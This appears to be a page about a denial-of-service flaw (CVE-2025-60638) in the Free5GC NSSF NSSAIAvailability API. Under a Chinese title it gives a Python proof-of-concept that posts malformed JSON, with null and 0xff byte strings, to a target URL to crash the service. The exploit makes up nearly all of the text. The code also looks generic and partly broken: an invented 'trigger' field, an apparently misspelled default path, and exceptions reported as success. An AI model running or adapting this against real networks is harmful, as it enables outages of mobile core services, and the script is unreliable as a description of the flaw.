Free5GC Nnssf_NSSAIAvailability API拒绝服务漏洞 (CVE-2025-60638)

import requests import sys # CVE-2025-60638 PoC - Free5GC Nnssf_NSSAIAvailability DoS # Target: Free5GC v4.0.0 / v4.0.1 def exploit(target_url): """ Exploit for CVE-2025-60638 Free5GC Nnssf_NSSAIAvailability API DoS vulnerability """ # Crafted POST request to trigger DoS payload = { "nssaiAvailabilityData": [ { "supportedSnssaiList": [ { "sst": "\x00" * 100, "sd": "\xff" * 50 } ] } ], "trigger": "malformed_input" } headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } try: print(f"[*] Sending crafted request to {target_url}") response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Response status: {response.status_code}") # Alternative payload with invalid JSON structure alt_payload = {"invalid": "\x00\x01\x02" * 50} response2 = requests.post( target_url, json=alt_payload, headers=headers, timeout=10 ) print(f"[*] Alternative payload sent") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent successfully - Target may be affected") print(f"[*] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: target = "http://localhost:8000/nnssf-nsseaiavailability/v1/nssai-availability" else: target = sys.argv[1] exploit(target)